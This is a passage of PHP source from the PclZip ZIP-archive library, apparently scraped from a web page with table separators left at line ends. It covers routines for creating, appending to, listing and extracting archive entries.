if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { | |
return $v_result; | |
} | |
$v_result_list = array_merge($v_result_list, $v_dirlist_descr); | |
} | |
else { | |
} | |
unset($v_dirlist_descr); | |
} | |
} | |
$p_filedescr_list = $v_result_list; | |
return $v_result; | |
} | |
function privCreate($p_filedescr_list, &$p_result_list, &$p_options) | |
{ | |
$v_result=1; | |
$v_list_detail = array(); | |
$this->privDisableMagicQuotes(); | |
if (($v_result = $this->privOpenFd('wb')) != 1) | |
{ | |
return $v_result; | |
} | |
$v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
function privAdd($p_filedescr_list, &$p_result_list, &$p_options) | |
{ | |
$v_result=1; | |
$v_list_detail = array(); | |
if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) | |
{ | |
$v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); | |
return $v_result; | |
} | |
$this->privDisableMagicQuotes(); | |
if (($v_result=$this->privOpenFd('rb')) != 1) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_central_dir = array(); | |
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
@rewind($this->zip_fd); | |
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; | |
if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); | |
return PclZip::errorCode(); | |
} | |
$v_size = $v_central_dir['offset']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = fread($this->zip_fd, $v_read_size); | |
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$v_swap = $this->zip_fd; | |
$this->zip_fd = $v_zip_temp_fd; | |
$v_zip_temp_fd = $v_swap; | |
$v_header_list = array(); | |
if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) | |
{ | |
fclose($v_zip_temp_fd); | |
$this->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_offset = @ftell($this->zip_fd); | |
$v_size = $v_central_dir['size']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($v_zip_temp_fd, $v_read_size); | |
@fwrite($this->zip_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++) | |
{ | |
if ($v_header_list[$i]['status'] == 'ok') { | |
if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { | |
fclose($v_zip_temp_fd); | |
$this->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_count++; | |
} | |
$this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); | |
} | |
$v_comment = $v_central_dir['comment']; | |
if (isset($p_options[PCLZIP_OPT_COMMENT])) { | |
$v_comment = $p_options[PCLZIP_OPT_COMMENT]; | |
} | |
if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { | |
$v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; | |
} | |
if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { | |
$v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; | |
} | |
$v_size = @ftell($this->zip_fd)-$v_offset; | |
if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) | |
{ | |
unset($v_header_list); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_swap = $this->zip_fd; | |
$this->zip_fd = $v_zip_temp_fd; | |
$v_zip_temp_fd = $v_swap; | |
$this->privCloseFd(); | |
@fclose($v_zip_temp_fd); | |
$this->privSwapBackMagicQuotes(); | |
@unlink($this->zipname); | |
PclZipUtilRename($v_zip_temp_name, $this->zipname); | |
return $v_result; | |
} | |
function privOpenFd($p_mode) | |
{ | |
$v_result=1; | |
if ($this->zip_fd != 0) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open'); | |
return PclZip::errorCode(); | |
} | |
if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode'); | |
return PclZip::errorCode(); | |
} | |
return $v_result; | |
} | |
function privCloseFd() | |
{ | |
$v_result=1; | |
if ($this->zip_fd != 0) | |
@fclose($this->zip_fd); | |
$this->zip_fd = 0; | |
return $v_result; | |
} | |
function privAddList($p_filedescr_list, &$p_result_list, &$p_options) | |
{ | |
$v_result=1; | |
$v_header_list = array(); | |
if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) | |
{ | |
return $v_result; | |
} | |
$v_offset = @ftell($this->zip_fd); | |
for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++) | |
{ | |
if ($v_header_list[$i]['status'] == 'ok') { | |
if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { | |
return $v_result; | |
} | |
$v_count++; | |
} | |
$this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); | |
} | |
$v_comment = ''; | |
if (isset($p_options[PCLZIP_OPT_COMMENT])) { | |
$v_comment = $p_options[PCLZIP_OPT_COMMENT]; | |
} | |
$v_size = @ftell($this->zip_fd)-$v_offset; | |
if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) | |
{ | |
unset($v_header_list); | |
return $v_result; | |
} | |
return $v_result; | |
} | |
function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) | |
{ | |
$v_result=1; | |
$v_header = array(); | |
$v_nb = sizeof($p_result_list); | |
for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) { | |
$p_filedescr_list[$j]['filename'] | |
= PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false); | |
if ($p_filedescr_list[$j]['filename'] == "") { | |
continue; | |
} | |
if ( ($p_filedescr_list[$j]['type'] != 'virtual_file') | |
&& (!file_exists($p_filedescr_list[$j]['filename']))) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist"); | |
return PclZip::errorCode(); | |
} | |
if ( ($p_filedescr_list[$j]['type'] == 'file') | |
|| ($p_filedescr_list[$j]['type'] == 'virtual_file') | |
|| ( ($p_filedescr_list[$j]['type'] == 'folder') | |
&& ( !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]) | |
|| !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) | |
) { | |
$v_result = $this->privAddFile($p_filedescr_list[$j], $v_header, | |
$p_options); | |
if ($v_result != 1) { | |
return $v_result; | |
} | |
$p_result_list[$v_nb++] = $v_header; | |
} | |
} | |
return $v_result; | |
} | |
function privAddFile($p_filedescr, &$p_header, &$p_options) | |
{ | |
$v_result=1; | |
$p_filename = $p_filedescr['filename']; | |
if ($p_filename == "") { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); | |
return PclZip::errorCode(); | |
} | |
clearstatcache(); | |
$p_header['version'] = 20; | |
$p_header['version_extracted'] = 10; | |
$p_header['flag'] = 0; | |
$p_header['compression'] = 0; | |
$p_header['crc'] = 0; | |
$p_header['compressed_size'] = 0; | |
$p_header['filename_len'] = strlen($p_filename); | |
$p_header['extra_len'] = 0; | |
$p_header['disk'] = 0; | |
$p_header['internal'] = 0; | |
$p_header['offset'] = 0; | |
$p_header['filename'] = $p_filename; | |
$p_header['stored_filename'] = $p_filedescr['stored_filename']; | |
$p_header['extra'] = ''; | |
$p_header['status'] = 'ok'; | |
$p_header['index'] = -1; | |
if ($p_filedescr['type']=='file') { | |
$p_header['external'] = 0x00000000; | |
$p_header['size'] = filesize($p_filename); | |
} | |
else if ($p_filedescr['type']=='folder') { | |
$p_header['external'] = 0x00000010; | |
$p_header['mtime'] = filemtime($p_filename); | |
$p_header['size'] = filesize($p_filename); | |
} | |
else if ($p_filedescr['type'] == 'virtual_file') { | |
$p_header['external'] = 0x00000000; | |
$p_header['size'] = strlen($p_filedescr['content']); | |
} | |
if (isset($p_filedescr['mtime'])) { | |
$p_header['mtime'] = $p_filedescr['mtime']; | |
} | |
else if ($p_filedescr['type'] == 'virtual_file') { | |
$p_header['mtime'] = time(); | |
} | |
else { | |
$p_header['mtime'] = filemtime($p_filename); | |
} | |
if (isset($p_filedescr['comment'])) { | |
$p_header['comment_len'] = strlen($p_filedescr['comment']); | |
$p_header['comment'] = $p_filedescr['comment']; | |
} | |
else { | |
$p_header['comment_len'] = 0; | |
$p_header['comment'] = ''; | |
} | |
if (isset($p_options[PCLZIP_CB_PRE_ADD])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_header, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); | |
if ($v_result == 0) { | |
$p_header['status'] = "skipped"; | |
$v_result = 1; | |
} | |
if ($p_header['stored_filename'] != $v_local_header['stored_filename']) { | |
$p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']); | |
} | |
} | |
if ($p_header['stored_filename'] == "") { | |
$p_header['status'] = "filtered"; | |
} | |
if (strlen($p_header['stored_filename']) > 0xFF) { | |
$p_header['status'] = 'filename_too_long'; | |
} | |
if ($p_header['status'] == 'ok') { | |
if ($p_filedescr['type'] == 'file') { | |
if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) | |
&& (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) | |
|| (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) | |
&& ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) { | |
$v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); | |
if ($v_result < PCLZIP_ERR_NO_ERROR) { | |
return $v_result; | |
} | |
} | |
else { | |
if (($v_file = @fopen($p_filename, "rb")) == 0) { | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); | |
return PclZip::errorCode(); | |
} | |
$v_content = @fread($v_file, $p_header['size']); | |
@fclose($v_file); | |
$p_header['crc'] = @crc32($v_content); | |
if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { | |
$p_header['compressed_size'] = $p_header['size']; | |
$p_header['compression'] = 0; | |
} | |
else { | |
$v_content = @gzdeflate($v_content); | |
$p_header['compressed_size'] = strlen($v_content); | |
$p_header['compression'] = 8; | |
} | |
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { | |
@fclose($v_file); | |
return $v_result; | |
} | |
@fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); | |
} | |
} | |
else if ($p_filedescr['type'] == 'virtual_file') { | |
$v_content = $p_filedescr['content']; | |
$p_header['crc'] = @crc32($v_content); | |
if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { | |
$p_header['compressed_size'] = $p_header['size']; | |
$p_header['compression'] = 0; | |
} | |
else { | |
$v_content = @gzdeflate($v_content); | |
$p_header['compressed_size'] = strlen($v_content); | |
$p_header['compression'] = 8; | |
} | |
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { | |
@fclose($v_file); | |
return $v_result; | |
} | |
@fwrite($this->zip_fd, $v_content, $p_header['compressed_size']); | |
} | |
else if ($p_filedescr['type'] == 'folder') { | |
if (@substr($p_header['stored_filename'], -1) != '/') { | |
$p_header['stored_filename'] .= '/'; | |
} | |
$p_header['size'] = 0; | |
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) | |
{ | |
return $v_result; | |
} | |
} | |
} | |
if (isset($p_options[PCLZIP_CB_POST_ADD])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_header, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); | |
if ($v_result == 0) { | |
$v_result = 1; | |
} | |
} | |
return $v_result; | |
} | |
function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) | |
{ | |
$v_result=PCLZIP_ERR_NO_ERROR; | |
$p_filename = $p_filedescr['filename']; | |
if (($v_file = @fopen($p_filename, "rb")) == 0) { | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode"); | |
return PclZip::errorCode(); | |
} | |
$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; | |
if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { | |
fclose($v_file); | |
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); | |
return PclZip::errorCode(); | |
} | |
$v_size = filesize($p_filename); | |
while ($v_size != 0) { | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($v_file, $v_read_size); | |
@gzputs($v_file_compressed, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
@fclose($v_file); | |
@gzclose($v_file_compressed); | |
if (filesize($v_gzip_temp_name) < 18) { | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes'); | |
return PclZip::errorCode(); | |
} | |
if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); | |
return PclZip::errorCode(); | |
} | |
$v_binary_data = @fread($v_file_compressed, 10); | |
$v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data); | |
$v_data_header['os'] = bin2hex($v_data_header['os']); | |
@fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); | |
$v_binary_data = @fread($v_file_compressed, 8); | |
$v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data); | |
$p_header['compression'] = ord($v_data_header['cm']); | |
$p_header['crc'] = $v_data_footer['crc']; | |
$p_header['compressed_size'] = filesize($v_gzip_temp_name)-18; | |
@fclose($v_file_compressed); | |
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { | |
return $v_result; | |
} | |
if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); | |
return PclZip::errorCode(); | |
} | |
fseek($v_file_compressed, 10); | |
$v_size = $p_header['compressed_size']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($v_file_compressed, $v_read_size); | |
@fwrite($this->zip_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
@fclose($v_file_compressed); | |
@unlink($v_gzip_temp_name); | |
return $v_result; | |
} | |
function privCalculateStoredFilename(&$p_filedescr, &$p_options) | |
{ | |
$v_result=1; | |
$p_filename = $p_filedescr['filename']; | |
if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { | |
$p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; | |
} | |
else { | |
$p_add_dir = ''; | |
} | |
if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { | |
$p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; | |
} | |
else { | |
$p_remove_dir = ''; | |
} | |
if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { | |
$p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; | |
} | |
else { | |
$p_remove_all_dir = 0; | |
} | |
if (isset($p_filedescr['new_full_name'])) { | |
$v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']); | |
} | |
else { | |
if (isset($p_filedescr['new_short_name'])) { | |
$v_path_info = pathinfo($p_filename); | |
$v_dir = ''; | |
if ($v_path_info['dirname'] != '') { | |
$v_dir = $v_path_info['dirname'].'/'; | |
} | |
$v_stored_filename = $v_dir.$p_filedescr['new_short_name']; | |
} | |
else { | |
$v_stored_filename = $p_filename; | |
} | |
if ($p_remove_all_dir) { | |
$v_stored_filename = basename($p_filename); | |
} | |
else if ($p_remove_dir != "") { | |
if (substr($p_remove_dir, -1) != '/') | |
$p_remove_dir .= "/"; | |
if ( (substr($p_filename, 0, 2) == "./") | |
|| (substr($p_remove_dir, 0, 2) == "./")) { | |
if ( (substr($p_filename, 0, 2) == "./") | |
&& (substr($p_remove_dir, 0, 2) != "./")) { | |
$p_remove_dir = "./".$p_remove_dir; | |
} | |
if ( (substr($p_filename, 0, 2) != "./") | |
&& (substr($p_remove_dir, 0, 2) == "./")) { | |
$p_remove_dir = substr($p_remove_dir, 2); | |
} | |
} | |
$v_compare = PclZipUtilPathInclusion($p_remove_dir, | |
$v_stored_filename); | |
if ($v_compare > 0) { | |
if ($v_compare == 2) { | |
$v_stored_filename = ""; | |
} | |
else { | |
$v_stored_filename = substr($v_stored_filename, | |
strlen($p_remove_dir)); | |
} | |
} | |
} | |
$v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); | |
if ($p_add_dir != "") { | |
if (substr($p_add_dir, -1) == "/") | |
$v_stored_filename = $p_add_dir.$v_stored_filename; | |
else | |
$v_stored_filename = $p_add_dir."/".$v_stored_filename; | |
} | |
} | |
$v_stored_filename = PclZipUtilPathReduction($v_stored_filename); | |
$p_filedescr['stored_filename'] = $v_stored_filename; | |
return $v_result; | |
} | |
function privWriteFileHeader(&$p_header) | |
{ | |
$v_result=1; | |
$p_header['offset'] = ftell($this->zip_fd); | |
$v_date = getdate($p_header['mtime']); | |
$v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; | |
$v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; | |
$v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, | |
$p_header['version_extracted'], $p_header['flag'], | |
$p_header['compression'], $v_mtime, $v_mdate, | |
$p_header['crc'], $p_header['compressed_size'], | |
$p_header['size'], | |
strlen($p_header['stored_filename']), | |
$p_header['extra_len']); | |
fputs($this->zip_fd, $v_binary_data, 30); | |
if (strlen($p_header['stored_filename']) != 0) | |
{ | |
fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); | |
} | |
if ($p_header['extra_len'] != 0) | |
{ | |
fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); | |
} | |
return $v_result; | |
} | |
function privWriteCentralFileHeader(&$p_header) | |
{ | |
$v_result=1; | |
$v_date = getdate($p_header['mtime']); | |
$v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2; | |
$v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday']; | |
$v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, | |
$p_header['version'], $p_header['version_extracted'], | |
$p_header['flag'], $p_header['compression'], | |
$v_mtime, $v_mdate, $p_header['crc'], | |
$p_header['compressed_size'], $p_header['size'], | |
strlen($p_header['stored_filename']), | |
$p_header['extra_len'], $p_header['comment_len'], | |
$p_header['disk'], $p_header['internal'], | |
$p_header['external'], $p_header['offset']); | |
fputs($this->zip_fd, $v_binary_data, 46); | |
if (strlen($p_header['stored_filename']) != 0) | |
{ | |
fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename'])); | |
} | |
if ($p_header['extra_len'] != 0) | |
{ | |
fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']); | |
} | |
if ($p_header['comment_len'] != 0) | |
{ | |
fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']); | |
} | |
return $v_result; | |
} | |
function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) | |
{ | |
$v_result=1; | |
$v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, | |
$p_nb_entries, $p_size, | |
$p_offset, strlen($p_comment)); | |
fputs($this->zip_fd, $v_binary_data, 22); | |
if (strlen($p_comment) != 0) | |
{ | |
fputs($this->zip_fd, $p_comment, strlen($p_comment)); | |
} | |
return $v_result; | |
} | |
function privList(&$p_list) | |
{ | |
$v_result=1; | |
$this->privDisableMagicQuotes(); | |
if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); | |
return PclZip::errorCode(); | |
} | |
$v_central_dir = array(); | |
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
@rewind($this->zip_fd); | |
if (@fseek($this->zip_fd, $v_central_dir['offset'])) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); | |
return PclZip::errorCode(); | |
} | |
for ($i=0; $i<$v_central_dir['entries']; $i++) | |
{ | |
if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_header['index'] = $i; | |
$this->privConvertHeader2FileInfo($v_header, $p_list[$i]); | |
unset($v_header); | |
} | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
function privConvertHeader2FileInfo($p_header, &$p_info) | |
{ | |
$v_result=1; | |
$v_temp_path = PclZipUtilPathReduction($p_header['filename']); | |
$p_info['filename'] = $v_temp_path; | |
$v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']); | |
$p_info['stored_filename'] = $v_temp_path; | |
$p_info['size'] = $p_header['size']; | |
$p_info['compressed_size'] = $p_header['compressed_size']; | |
$p_info['mtime'] = $p_header['mtime']; | |
$p_info['comment'] = $p_header['comment']; | |
$p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010); | |
$p_info['index'] = $p_header['index']; | |
$p_info['status'] = $p_header['status']; | |
$p_info['crc'] = $p_header['crc']; | |
return $v_result; | |
} | |
function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) | |
{ | |
$v_result=1; | |
$this->privDisableMagicQuotes(); | |
if ( ($p_path == "") | |
|| ( (substr($p_path, 0, 1) != "/") | |
&& (substr($p_path, 0, 3) != "../") | |
&& (substr($p_path,1,2)!=":/"))) | |
$p_path = "./".$p_path; | |
if (($p_path != "./") && ($p_path != "/")) | |
{ | |
while (substr($p_path, -1) == "/") | |
{ | |
$p_path = substr($p_path, 0, strlen($p_path)-1); | |
} | |
} | |
if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/')) | |
{ | |
$p_remove_path .= '/'; | |
} | |
$p_remove_path_size = strlen($p_remove_path); | |
if (($v_result = $this->privOpenFd('rb')) != 1) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_central_dir = array(); | |
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_pos_entry = $v_central_dir['offset']; | |
$j_start = 0; | |
for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) | |
{ | |
@rewind($this->zip_fd); | |
if (@fseek($this->zip_fd, $v_pos_entry)) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); | |
return PclZip::errorCode(); | |
} | |
$v_header = array(); | |
if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_header['index'] = $i; | |
$v_pos_entry = ftell($this->zip_fd); | |
$v_extract = false; | |
if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) | |
&& ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { | |
for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) { | |
if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { | |
if ( (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) | |
&& (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { | |
$v_extract = true; | |
} | |
} | |
elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { | |
$v_extract = true; | |
} | |
} | |
} | |
else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) | |
&& ($p_options[PCLZIP_OPT_BY_PREG] != "")) { | |
if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) { | |
$v_extract = true; | |
} | |
} | |
else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) | |
&& ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { | |
for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) { | |
if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { | |
$v_extract = true; | |
} | |
if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { | |
$j_start = $j+1; | |
} | |
if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { | |
break; | |
} | |
} | |
} | |
else { | |
$v_extract = true; | |
} | |
if ( ($v_extract) | |
&& ( ($v_header['compression'] != 8) | |
&& ($v_header['compression'] != 0))) { | |
$v_header['status'] = 'unsupported_compression'; | |
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) | |
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION, | |
"Filename '".$v_header['stored_filename']."' is " | |
."compressed by an unsupported compression " | |
."method (".$v_header['compression'].") "); | |
return PclZip::errorCode(); | |
} | |
} | |
if (($v_extract) && (($v_header['flag'] & 1) == 1)) { | |
$v_header['status'] = 'unsupported_encryption'; | |
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) | |
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, | |
"Unsupported encryption for " | |
." filename '".$v_header['stored_filename'] | |
."'"); | |
return PclZip::errorCode(); | |
} | |
} | |
if (($v_extract) && ($v_header['status'] != 'ok')) { | |
$v_result = $this->privConvertHeader2FileInfo($v_header, | |
$p_file_list[$v_nb_extracted++]); | |
if ($v_result != 1) { | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$v_extract = false; | |
} | |
if ($v_extract) | |
{ | |
@rewind($this->zip_fd); | |
if (@fseek($this->zip_fd, $v_header['offset'])) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); | |
return PclZip::errorCode(); | |
} | |
if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) { | |
$v_string = ''; | |
$v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options); | |
if ($v_result1 < 1) { | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result1; | |
} | |
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
$p_file_list[$v_nb_extracted]['content'] = $v_string; | |
$v_nb_extracted++; | |
if ($v_result1 == 2) { | |
break; | |
} | |
} | |
elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) | |
&& ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) { | |
